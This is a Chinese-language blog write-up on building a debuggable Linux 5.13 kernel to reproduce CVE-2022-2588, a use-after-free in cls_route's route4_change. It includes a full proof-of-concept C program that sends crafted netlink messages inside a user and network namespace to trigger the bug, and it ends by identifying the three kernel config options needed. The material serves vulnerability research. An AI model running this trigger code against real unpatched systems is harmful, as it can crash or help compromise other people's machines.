背景
在复现CVE-2022-2588漏洞的时候,编译可以运行poc成功触发漏洞所在函数的内核的过程。踩了一些坑,记录一下思路。
目标
为了复现CVE-2022-2588,肯定是自己编译带符号的内核来调试更加方便快捷。所以这里第一步就是编译内核,一般内核漏洞wp作者都会说需要的编译选项,或者直接给.config文件或者直接提供内核或环境,这里给的信息好少,只知道漏洞所在函数和漏洞原理。
前置知识
内核与内核模块
内核是内核(bzImage)+内核模块(.ko)组成的,很多内核的功能都不是直接在内核之中,而是在内核模块之中,系统启动之后加载对应的内核模块。这个过程涉及到linux系统启动之后的动作,而我们自己编译的简易版内核和基于qemu 的简易漏洞复现环境(qemu + 单个kernel + 基于busybox做的简易文件系统)是没有那么完整的启动过程的。所以我们一般要把需要的内核模块直接编译到内核之中。
内核的编译选项
内核编译的过程中会根据.config文件中的编译选项决定编译动作,不同内核模块的编译是由编译选项决定的,如果编译选项是m,则代表该功能会被编译成内核模块(.ko),而如果该编译选项是y则代表该功能被编译进内核(bzImage)之中。
CONFIG_NET_CLS_ROUTE4=m
或
CONFIG_NET_CLS_ROUTE4=y
所以我们需要的便是将漏洞所在模块设置成y,让其直接编译到内核bzImage中。在设置内核编译选项的时候最好不要直接编辑.config文件,因为好多内核模块之间有依赖关系,如果只是把目标模块的m改成y,而没改它依赖的模块的话,最后编译容易造成依赖链混乱,最好是通过make menuconfig 的形式来配置编译选项,menuconfig可以显示某个编译选项所依赖的其他选项。
可以看出编译选项CONFIG_NFT_CONNLIMIT的depends on中有些依赖还是m状态,那么该选项(CONFIG_NFT_CONNLIMIT)就无法被设置成y,只有当满足的依赖都是y的情况下,才能设置成y:
- 还有一些编译选项是自动设置的,根据其依赖的选项,依赖项都是m那么就自动设置成m,依赖项设置成y则自动设置成y
- 有一些依赖是互斥的,有了这个就不能有另一个,需要厘清逻辑关系。
过程
这里不对漏洞做过多分析,主要阐述编译过程
基本信息
使用的poc如下:
https://github.com/sang-chu/CVE-2022-2588
原本poc代码(经过我略微修改,本次调试使用):
#define _GNU_SOURCE
#include <sched.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <linux/pkt_sched.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>
void hexdump(const void *data, size_t size)
{
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i)
{
dprintf(2, "%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~')
{
ascii[i % 16] = ((unsigned char *)data)[i];
} else
{
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size)
{
dprintf(2, " ");
if ((i + 1) % 16 == 0)
{
dprintf(2, "| %s \n", ascii);
}
else if (i + 1 == size)
{
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8)
{
dprintf(2, " ");
}
for (j = (i + 1) % 16; j < 16; ++j)
{
dprintf(2, " ");
}
dprintf(2, "| %s \n", ascii);
}
}
}
}
static char newlink[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWLINK */
16, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x30, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
'e', 't', '2', 0,
/* nla_len, nla_type */
16, 0x00, 18, 0x00,
/* nested nla_len, nla_type */
10, 0x00, 0x01, 0x00,
'd', 'u', 'm', 'm',
'y', 0x00, 0x00, 0x00,
};
static char dellink[] = {
/* len */
40, 0x00, 0x00, 0x00,
/* type = DELLINK */
17, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x00, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
'e', 't', '2', 0,
};
static char tfilter[] = {
/* len */
68, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* nla_len, nla_type */
0x0a, 0x00, 0x01, 0x00,
/* string */
'r', 'o', 'u', 't',
'e', 0, 0, 0,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};
static char ntfilter[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
/* 0x200 = NLM_F_EXCL */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};
static char linkcmd[] = {
/* len */
44, 0x00, 0x00, 0x00,
/* type = NEWQDISC */
36, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE */
0x01, 0x05,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x01, 0x00,
/* tcm_parent */
0xff, 0xff, 0xff, 0xff,
/* tcm_info = protocol/prio */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x04, 0x00, 0x01, 0x00,
/* string */
};
int build_qfq(char *buf)
{
char *qopt;
short *tlen;
char *qdisc = "qfq";
short *optlen;
short *opttype;
tlen = buf;
memset(buf, 0, sizeof(buf));
memcpy(buf, linkcmd, sizeof(linkcmd));
strcpy(buf+sizeof(linkcmd), qdisc);
*tlen = sizeof(linkcmd) + strlen(qdisc) + 1;
buf[36] = strlen(qdisc)+5;
qopt = buf + *tlen;
/* nla_len, nla_type */
/* 24, 0x00, 0x02, 0x00, */
optlen = qopt;
opttype = optlen + 1;
*opttype = 0x2;
*optlen = 4;
*tlen += *optlen;
return *tlen;
}
int main(int argc, char **argv)
{
int s;
pid_t p;
int *error;
char buf[4096]={0};
int tlen;
char buf2[4096]={0};
error = (int *) (buf + 16);
unsigned long count = 1;
int i;
unshare(CLONE_NEWUSER|CLONE_NEWNET);
tlen = build_qfq(buf);
s = socket(AF_NETLINK, SOCK_RAW|SOCK_NONBLOCK, NETLINK_ROUTE);
perror("socket:");
printf("s: %d\n",s);
printf("newlink:\n");
hexdump(newlink,0x100);
write(s, newlink, sizeof(newlink));
read(s, buf2, sizeof(buf));
perror("NLMSG_ERROR");
printf("err:%d\n", *error);
printf("msg type:%d\n",*(short *)(buf + 4));
sleep(1);
printf("qdisc:\n");
hexdump(buf,0x100);
write(s, buf, tlen);
read(s, buf, sizeof(buf));
printf("err:%d\n", *error);
sleep(1);
printf("tfilter:\n");
hexdump(tfilter,0x100);
write(s, tfilter, sizeof(tfilter));
read(s, buf, sizeof(buf));
printf("err:%d\n", *error);
sleep(1);
printf("ntfilter:\n");
hexdump(ntfilter,0x100);
write(s, ntfilter, sizeof(ntfilter));
read(s, buf, sizeof(buf));
printf("Err:%d\n", *error);
sleep(1);
printf("dellink:\n");
hexdump(dellink,0x100);
write(s, dellink, sizeof(dellink));
read(s, buf, sizeof(buf));
printf("err:%d\n", *error);
return 0;
}
漏洞exp以及漏洞原理简述如下:
https://github.com/Markakd/CVE-2022-2588
漏洞所在函数是net\sched\cls_route.c: route4_change
所使用内核版本:5.13.19,正好手头有上次复现剩下的,就不重新下载了
根据Makefile确定漏洞函数所在模块
直接定位到漏洞所在函数所在文件net\sched\cls_route.c,找到跟这个文件同一目录下的Makefile,以该文件名作为关键字搜索:
obj-$(CONFIG_NET_CLS_ROUTE4) += cls_route.o
可以看到,该文件所需的编译选项是
CONFIG_NET_CLS_ROUTE4=y
使用ubuntu内核编译方法初步编译
这里使用ubuntu内核编译方法,只有内核源码是从ubuntu git下载的才可以使用(有debian rule)。
git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.13-5.13.0-35.40_20.04.1 --depth 1
LANG=C fakeroot debian/rules clean
# 下面这一步我们只需要构建binary-generic,因为内核在这里,不需要其他的
LANG=C fakeroot debian/rules binary-generic
这里使用menuconfig 更改编译选项:
make ARCH=x86 CROSS_COMPILE= KERNELVERSION=5.13.0-35-generic CONFIG_DEBUG_SECTION_MISMATCH=y KBUILD_BUILD_VERSION="40~20.04.1" LOCALVERSION= localver-extra= CFLAGS_MODULE="-DPKG_ABI=35" PYTHON=/usr/bin/python3 O=/tmp/ubuntu-focal/debian/build/build-generic -j4 menuconfig
将我们之前找到的CONFIG_NET_CLS_ROUTE4 设置成y
然后编译:
make ARCH=x86 CROSS_COMPILE= KERNELVERSION=5.13.0-35-generic CONFIG_DEBUG_SECTION_MISMATCH=y KBUILD_BUILD_VERSION="40~20.04.1" LOCALVERSION= localver-extra= CFLAGS_MODULE="-DPKG_ABI=35" PYTHON=/usr/bin/python3 O=/tmp/ubuntu-focal/debian/build/build-generic -j4 bzImage
编译完之后跑poc发现断不住关键函数toute4_change,修改一下poc,让其打印netlink的报文内容和报文错误码:
int main(int argc, char **argv)
{
int s;
pid_t p;
int *error;
char buf[4096]={0};
int tlen;
error = (int *) (buf + 16);
unsigned long count = 1;
int i;
unshare(CLONE_NEWUSER|CLONE_NEWNET);
tlen = build_qfq(buf);
s = socket(AF_NETLINK, SOCK_RAW|SOCK_NONBLOCK, NETLINK_ROUTE);
perror("socket:");
printf("s: %d\n",s);
write(s, newlink, sizeof(newlink));
read(s, buf, sizeof(buf));
perror("NLMSG_ERROR");
printf("%d\n", *error);
printf("%d\n",*(short *)(buf + 4));
hexdump(buf,0x100);
··· ···
}
消息类型为2,是netlink 的NLMSG_ERROR类型消息,后面错误代码是-95。
#define NLMSG_ERROR 0x2 /* Error */
struct nlmsgerr {
int error; //错误编号
struct nlmsghdr msg;
};
但可惜我没找到-95错误编号的含义,那就只能一步一步确认了。
定位错误编号 -95
由于我对netlink协议还不是很了解,没看过相关代码,所以只能根据已知的一些微量消息用笨法,最好的方法肯定是读一下netlink 的代码。
首先错误消息肯定使用了上面的nlmsgerr 结构体,直接找到所有初始化nlmsgerr 结构体的函数,并不多,都下断点,直接源码里搜struct nlmsgerr
,tools目录下的都无视掉(非内核代码),就下面几个:
ipmr_destroy_unres
ipmr_cache_resolve
ncsi_send_netlink_err
call_ad //这个还没有
netlink_ack
直接跑,发现断住了netlink_ack:
虽然这里err code已经被设置成了-95,但可以查看调用栈:
先看netlink_rcv_skb 函数:
int netlink_rcv_skb(struct sk_buff *skb, int (*cb)(struct sk_buff *,
struct nlmsghdr *,
struct netlink_ext_ack *))
{
struct netlink_ext_ack extack;
struct nlmsghdr *nlh;
int err;
while (skb->len >= nlmsg_total_size(0)) {
··· ···
err = cb(skb, nlh, &extack); //这里的到的err
if (err == -EINTR)
goto skip;
ack:
if (nlh->nlmsg_flags & NLM_F_ACK || err)
netlink_ack(skb, nlh, err, &extack);
··· ···
}
return 0;
}
然后err 在cb之中,cb是这个函数的参数,在调用栈中可以看到参数,cb地址是0xffffffff819d5f90,gdb中发现是rtnetlink_rcv_msg函数:
然后分析rtnetlink_rcv_msg函数,这个函数比较长,err设置有好多处,直接单步调试,遇到err的地方打印一下,确定err是这里设置的:
static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
struct netlink_ext_ack *extack)
{
··· ···
··· ···
flags = link->flags;
if (flags & RTNL_FLAG_DOIT_UNLOCKED) {
doit = link->doit;
rcu_read_unlock();
if (doit)
err = doit(skb, nlh, extack);
module_put(owner);
return err;
}
··· ···
}
调试看到doit函数为rtnl_newlink:
rtnl_newlink 直接调用__rtnl_newlink
,在__rtnl_newlink
中根据返回值确定是没找到kind设备的ops,说明是没有kind设备:
static int __rtnl_newlink(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attr, struct netlink_ext_ack *extack)
{
··· ···
if (linkinfo[IFLA_INFO_KIND]) {
nla_strscpy(kind, linkinfo[IFLA_INFO_KIND], sizeof(kind));
ops = rtnl_link_ops_get(kind); //获取ops,这里没找到kind 的ops
} else {
kind[0] = '\0';
ops = NULL;
}
··· ···
if (!ops) { //没有ops 的话报错,错误码-95
#ifdef CONFIG_MODULES
if (kind[0]) {
__rtnl_unlock();
request_module("rtnl-link-%s", kind);
rtnl_lock();
ops = rtnl_link_ops_get(kind);
if (ops)
goto replay;
}
#endif
NL_SET_ERR_MSG(extack, "Unknown device type");
return -EOPNOTSUPP;//-95
}
··· ···
··· ···
}
打印了一下kind,发现是dummy:
妈的没仔细看poc,poc第一个报文使用的就是dummy设备,所以这里需要把dummy设备编译进去:
CONFIG_DUMMY=y
然后重新跑,新报错:
定位错误编号 -2
这次错误是-2,方法和上面一样,断住所有nlmsgerr 的函数,然后跑,同样是netlink_ack -> netlink_rcv_skb -> rtnetlink_rcv_msg -> link->doit 调用链,但这次link->doit 的函数指向的是tc_modify_qdisc,然后调试发现是在qdisc_create 函数中设置的错误编码:
static struct Qdisc *qdisc_create(struct net_device *dev,
struct netdev_queue *dev_queue,
struct Qdisc *p, u32 parent, u32 handle,
struct nlattr **tca, int *errp,
struct netlink_ext_ack *extack)
{
int err;
struct nlattr *kind = tca[TCA_KIND];
struct Qdisc *sch;
struct Qdisc_ops *ops;
struct qdisc_size_table *stab;
ops = qdisc_lookup_ops(kind);//找ops没找到
#ifdef CONFIG_MODULES
if (ops == NULL && kind != NULL) {//走到这个分支
char name[IFNAMSIZ];
if (nla_strscpy(name, kind, IFNAMSIZ) >= 0) {
/* We dropped the RTNL semaphore in order to
* perform the module load. So, even if we
* succeeded in loading the module we have to
* tell the caller to replay the request. We
* indicate this using -EAGAIN.
* We replay the request because the device may
* go away in the mean time.
*/
rtnl_unlock();
request_module("sch_%s", name);//申请sch_设备,name这里是qfq
rtnl_lock();
ops = qdisc_lookup_ops(kind);
if (ops != NULL) {
/* We will try again qdisc_lookup_ops,
* so don't keep a reference.
*/
module_put(ops->owner);
err = -EAGAIN;
goto err_out;
}
}
}
#endif
err = -ENOENT;
if (!ops) {//sch_qfq也没找到,则会设置错误码返回
NL_SET_ERR_MSG(extack, "Specified qdisc not found");
goto err_out;
}
··· ···
··· ···
}
经过调试发现是没找到name为sch_qfq的设备:
加上编译选项:
CONFIG_NET_SCH_QFQ=y
重新编译重新跑:
成功断住关键函数route4_change,并且触发uaf:
总结
总共需要这么几个编译选项:
CONFIG_NET_CLS_ROUTE4=y
CONFIG_DUMMY=y
CONFIG_NET_SCH_QFQ=y
总共就三个编译选项,废了这么多事。